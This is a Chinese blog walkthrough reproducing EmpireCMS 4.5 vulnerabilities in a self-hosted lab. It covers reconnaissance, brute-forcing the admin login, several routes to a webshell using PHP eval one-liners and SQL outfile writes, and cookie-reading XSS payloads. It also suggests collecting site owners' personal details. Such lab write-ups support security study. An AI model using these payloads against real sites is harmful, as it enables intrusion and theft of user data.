EmpireCMS4.5 渗透测试及靶场搭建(漏洞复现)

一、搭建CMS

本文不涉及详细的代码审计,主要实现漏洞复现技术

第一步:上传
将安装包的. /upload目录中的全部文件和目录结构上传到服务器的网站根目录(注意是上传upload 目录中的文件和目录,而不是上传upload目录本身。
image.png
第二步:运行脚本
在浏览器中运行/e/install/index. php,即访问http:// 你的网址/e/ install/index. php
Snipaste_2023-05-28_14-14-13.png
Snipaste_2023-05-28_14-14-47.png
第三步:删除安装程序目录
安装成功后,请通过FTP删除安装程序目录(/e/install),以避免被再次安装。
第四步:初始化:

依次按下面顺序操作即可:
后台 > 系统 > 数据更新 > 数据更新中心 >1、恢复栏目目录
** **2、刷新所有信息栏目页
** **3、刷新所有信息内容页面
(选择全部刷新,刷新后所有表均提示“* 生成完毕”即可)**
** **4、刷新所有JS调用

第五步:进入搭建好的测试站点主页面,至此帝国CMS搭建完毕
http://192.168.200.14/EmpirECMS/upload/
image.png

二、对本站点进行信息收集

首先,利用nmap工具端口扫描。使用的命令如下

nmap -T4 -A -v 192.168.200.16 #扫描速度为T4,强力扫描,并且扫扫描细节

通过开放的端口,可以获取端口的说明信息以及攻击方向
image.png

ip查询

通过站长之家,进行ip地址查询具体信息,可以看到这是私人的ip地址,并且是自己集成的靶场环境。
image.png

可以从各种途径上获取搭建网站所使用的脚本、类型、框架等信息,获取有关他们存在的漏洞信息
image.png

扫描后台敏感目录(dirsearch工具和御剑工具)

image.png
image.png
通过爆破网站目录可以看到一个非常有用的信息:EmpireCMS/robots.txt,这个文件是禁止爬虫的,这里面存放的全是网站的敏感信息,不妨试试
image.png
由此推进,访问/e/config这个目录,它一般是存放和配置文件有关的信息的,当我们尝试访问后可以发现,第一个是网站的主目录,第二个是网站的存储数据库等信息的文件
image.png
访问配置文件是空白,网站肯定是做了什么过滤,那么这里面的内容应该很重要
image.png
但是我们可以看到重要的信息,比如网站后台有关的admin目录都没有显示出来,从而推断EmpireCMS/e这个目录很敏感,就再次尝试对它目录扫描,然后几乎全部的敏感目录都爆出来了(状态码200的能够访问)
通过尝试,终于发现后台路径!(如果想知道更多目录内的信息还需要重复此类操作,不过在浪费这些时间之前,我们还是要一步步的来,拿到网站webshell为主)
后台界面
image.png
御剑爆破结果
image.png
随便输入的账户admin和密码123456,网页显示(没有注意后台错误5次限制登录,最主要的是有密保问题,如果设置了,还得另想办法。先按照正常的流程测试)
image.png
那么没办法,只能从两个payload选择集束炸弹模式
image.png
选择常用的字典进行爆破之后,从反馈的页面的发现,弱口令爆破是行不通的
image.png
解决方案:
①更改配置文件( /e/config/config.php)
image.png
loginnum :5,错误次数
logintime :60,锁定时间
②使用ip代理池(谨慎使用)
③社工手段
本题中选择更改配置文件绕过
则顺利爆破登录成功
image.png
成功登录网站后台!
image.png
点击网站的后台能够查到网站数据库信息
image.png
我们的一个目的已经达成

浏览器语法使用

site 指定域名
**inurl url中存在关键字的网页 **
**filetype 指定文件类型 **
**info 查找指定站点的基本信息 **

备案信息查询

网站底部有icp等内容,可以称为获取对方公司和法人的信息(手机号,微信号,邮箱等)
image.png

指纹识别

whatweb时kali当中的一款工具,可以更清楚的知道网站中可以为自己所用的信息
image.png

更改参数信息

参数设置页面,限制了很多可以文件上传的后缀名,很多可以上传文件的位置都做了严格的过滤,倘若更改限制后缀名那么相信木马文件也可以轻松上传
image.png

通过以上的信息收集,可以获取到对方搭建网站的脚本信息并由此去互联网上寻找到开源的漏洞信息,对方使用的是何种服务器,根据ip所在地可以查询到对方住址等,最后黑进对方后台可以看到对方数据库的信息,想辙将其导出,便可以获取到本网站的用户的重要信息等。

二、漏洞探测

设计工具:
端口扫描:nmap
敏感目录扫描:dirsearch,御剑
ip属地查询:站长之家,fofa等网页工具
网络抓包工具、弱口令爆破工具:Burpsuite
蚁剑:拿取网站webshell
火狐浏览器插件Wappalyzer:获取网站的数据库、框架、编程语言、操作系统等信息
SQLmap:对涉及含有sql注入的url进行扫描

**

三、漏洞利用,获取webshell

(一)代码执行

后台获取getshell

系统–》广利数据表–》导入数据表

image.png
本地准备一个1.php并改名为1.php.mod,用$进行转义,存放的数据表名需要填一个数据库内没有的表名(随便都行)

<?php file_put_contents("shell.php","<?php @eval(\$_POST['SHELL']); ?>");?>
#file_put_contents() 函数:创建并写入一个新文件
file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )
参数						描述
filename				必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。
data						必需。规定要写入文件的数据。可以是字符串、数组或数据流。
flags						可选。规定如何打开/写入文件。可能的值:
											FILE_USE_INCLUDE_PATH
											FILE_APPEND
											LOCK_EX
context					可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。

image.png
image.png
Snipaste_2023-05-28_15-11-48.jpg
尝试访问文件所在路径,用hackbar访问,可以看到出现PHP版本信息,那么证明此文件是被上传到服务器的了,最后可以进行蚁剑连接,拿取shell
image.png
蚁剑连接成功
image.png
此时可以遍历目录
image.png

这题用到代码审计
更改文件后缀和修改MIME以及增加文件头绕过方法都是行不通的,会出现下边的空白页面
image.png

获取shell

系统–》备份数据–》选择任意–》开始备份

简介:未对数据库表名做验证,通过修改数据库表名可以实现任意代码
漏洞位置:EmpireCMS/e/admin/ebak/phome.php
image.png
抓包修改tablename为phpinfo
image.png
image.png
放包后可以查看到php版本信息
image.png
下载下来观察里面的文件信息
image.png
readme.txt是没有什么重要信息的
image.png
而config.php当中含有写入的phpinfo()
image.png
浏览此文件所在的路径,看看会出现是否是PHP版本信息的页面,修改配置文件readme.txt改为config.php
image.png
这样是无法连接蚁剑的,尝试将tablename后改为一句话木马
Snipaste_2023-05-28_17-06-45.jpg
当放包之后会出现表不存在等问题,不过不影响
image.png
hackbar后
image.png
同上的操作(或者也可以不执行这步,可以从链接当中知道文件的所在路径)
image.png
image.png
目录遍历,shell拿到了
image.png

代码注入获取shell

select … into outfile语句写入php一句话木马

select '<?php @eval($_POST[LEOGG])?>' into outfile 'C:/phpStudy/PHPTutorial/WWW/EmpireCMS/e/admin/1.php'

出现下面这种错误明显是不能够成功的,它限制数据库的导入跟导出,判断secure_file_priv = NULL,所以当实战中出现在这种情况下是不能够用这种方法
image.png
添加上这句语句在做尝试
image.png
显示无法写入文件
image.png
漏洞复现文章出处:https://blog.csdn.net/m0_60716947/article/details/128354934

后台拿SHELL

模板–》公告模板–》JS调用登录模板

在此位置插入一句话木马,最终
image.png
源码当中的一句话木马已经被写入,证明肯定时写入到文件里面了
image.png
链接蚁剑,拿取shell
image.png
image.png
遍历目录
image.png

获取shell

栏目–》自定义页面–》管理自定义页面处可以写下getshell

image.png
成功在网站根目录写入webshell
image.png
连接蚁剑

image.png
目录遍历
image.png

(二)CSRF(跨站请求伪造)

1.在会员中心页面点击修改密码时抓包
image.png
image.png
image.png
将上述的html代码,编写成脚本放到phpstudy下的www目录
image.png
image.png

(三)XSS(跨站脚本攻击)

A、反射型:

通过目录扫描,我们可以知道很多存在漏洞的网页

1.漏洞代码位置:EmpireCMS/e/ViewImg/index.html

可以先创建栏目信息
image.png
然后点击图片
image.png
漏洞页面
image.png
#漏洞原理:url地址经过Request函数处理之后,
把url地址中的参数和值部分直接拼接当作a标签的href属性的值和img标签的src标签的值
代码分析

if(Request("url")!=0){
	document.write(
"<a title=\"点击观看完整的图片...\" href=\""+Request("url")+"\" target=\"_blank\">
<img src=\""+Request("url")+"\" border=0 
class=\"picborder\" onmousewheel=\"return bbimg(this)\" 
οnlοad=\"if(this.width>screen.width-500)this.style.width=screen.width-500;\">");

分析代码:通过window.location获取当前url地址,根据传入的url参数,获取当前参数的起始位置和结束位置。
代码没有对url的参数做过滤就直接拼接成a和img标签的属性的值,因此可以构造payload:? ?url=javascript:alert(/xss/)

例如,地址是:index.html?url=javascript:alert(document.cookie),经过Request函数处理就变成javascript:alert(document.cookie)
构造payload:

http://192.168.200.16/EmpireCMS/e/ViewImg/index.html?url=javascript:alert(document.cookie)

image.png
点击图片可以触发cookie,但是此漏洞我没有复现成功,是在控制器当中输入的javascript:alert(document.cookie)的指令
漏洞存在的文件是在/e/ViewImg/index.html。
分析代码:通过window.location获取当前url地址,根据传入的url参数,获取当前参数的起始位置和结束位置。

代码没有对url的参数做过滤就直接拼接成a和img标签的属性的值,因此可以构造payload:? ?url=javascript:alert(/xss/)

例如,地址是:index.html?url=javascript:alert(document.cookie),经过Request函数处理就变成javascript:alert(document.cookie)

image.png

案例:<script>alert(cmd)</script>
2.软件作者栏目,软件简介栏目两处存在跨站脚本攻击漏洞,前台此连接处显示漏洞

image.png
image.png
图片内的栏目信息全部都含有如上图的xss漏洞
image.png

3.京股票验证国内新闻栏目含有XSS漏洞,并且需要创建信的栏目才可以实现

image.png
image.png
image.png

4.信息栏目处,几乎每一个大栏目下的都含有XSS漏洞

image.png
image.png

5.经验证,在栏目信息下的所有大的栏目下都含有前台显示的XSS漏洞

image.png
image.png

6.再次处,插入几条xss语句就会显示几个弹窗,在SQL名称处含有一处XSS

image.png

B、存储型

1.漏洞出现的页面在/e/admin/openpage/AdminPage.php

源码:
image.png
访问显示页面非法来源
image.png
构造发现依然无效

http://192.168.200.16/empirecms/e/admin/openpage/AdminPage.php?mainfile=javascript:alert('xss')

别的页面url地址中都会存在hash参数,例如ehash_k3gQY=XJ8adxjZ1pt0wTdqmKO6,参数是随机生成的,如果缺少这个参数,会提示非法来源(都要使用)
重新构造payload,有效!

http://192.168.200.16/empirecms/e/admin/openpage/AdminPage.php?ehash_k3gQY=XJ8adxjZ1pt0wTdqmKO6&mainfile=javascript:alert('xss')

image.png
mainfile参数:获取cookie

http://192.168.200.16/empirecms/e/admin/openpage/AdminPage.php?ehash_k3gQY=XJ8adxjZ1pt0wTdqmKO6&mainfile=javascript:alert(document.cookie)

image.png
leftfile参数

http://192.168.200.16/EmpireCMS/e/admin/openpage/AdminPage.php?ehash_xAg67=sKjkNY3V9KKhz7rFcbRC&leftfile=javascript:alert('xss')

image.png
而title参数,是无法显示出来页面信息的

http://192.168.200.16/EmpireCMS/e/admin/openpage/AdminPage.php?ehash_xAg67=sKjkNY3V9KKhz7rFcbRC&title=javascript:alert(%27xss%27)

image.png
image.png

2.栏目–》管理栏目

image.png
每次点进页面会自动触发

<script>alert(111)</script>

image.png
image.png

(四)SQL注入漏洞(需要代码审计)

1.此处含有SQL注入,然后用sqlmap执行,此处可能存在延时注入

http://192.168.200.16/EmpireCMS/e/admin/admin.php?ehash_6kKRg=CXVSjNWzn2qTJzbFn8kr

image.png
sqlmap执行语句
执行时间过长,判断为延时注入
image.png
2.另外此页面下也含有SQL注入,并且判断为延时注入
image.png
在此,SQLmap构造的payload在url框中执行没有效果
image.png

总结:以上便是根据黑盒测试原理,在未授权的情况下,模拟黑客的攻击方法和思维方式,来评估计算机网络系统可能存在的安全风险。

文章参考:https://xz.aliyun.com/t/9733#toc-6
http://www.taodudu.cc/news/show-4296997.html?action=onClick

  • 1
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
根据提供的引用内容来看,出现了一个提示错误信息,错误信息是说Table 'empirecms.phome_ecms_'不存在。根据这个信息,我可以判断其中的Table名称应该是'05cq***enewsloqinfail'。这个错误信息表明数据库中找不到这个Table。这可能是由于数据库结构的变化或者对应的Table不存在所导致的。要解决这个问题,可以尝试以下几个步骤: 1. 首先,确认Table名称是否正确,确保没有拼写错误或者其他类似的问题。 2. 如果Table确实不存在,可以尝试重新创建这个Table。可以参考数据库的文档或者联系数据库管理员来了解如何创建这个Table。 3. 如果Table是由某个插件或者扩展程序创建的,可以尝试重新安装或者更新这个插件或者扩展程序,以确保相应的Table被正确创建。 4. 如果以上方法都没有解决问题,可以尝试恢复数据库的备份,使其回到之前正常工作的状态。 需要注意的是,这些步骤只是一些常见的解决方法,具体的解决方法可能因数据库的类型和配置而有所不同。建议在解决问题时参考相关的数据库文档或者寻求专业的数据库管理员的帮助。<span class="em">1</span> #### 引用[.reference_title] - *1* [帝国CMS刷新数据表article提示Table ‘empirecms.phome_ecms_’ doesn’t exist的解决](https://download.csdn.net/download/weixin_38660813/12896372)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值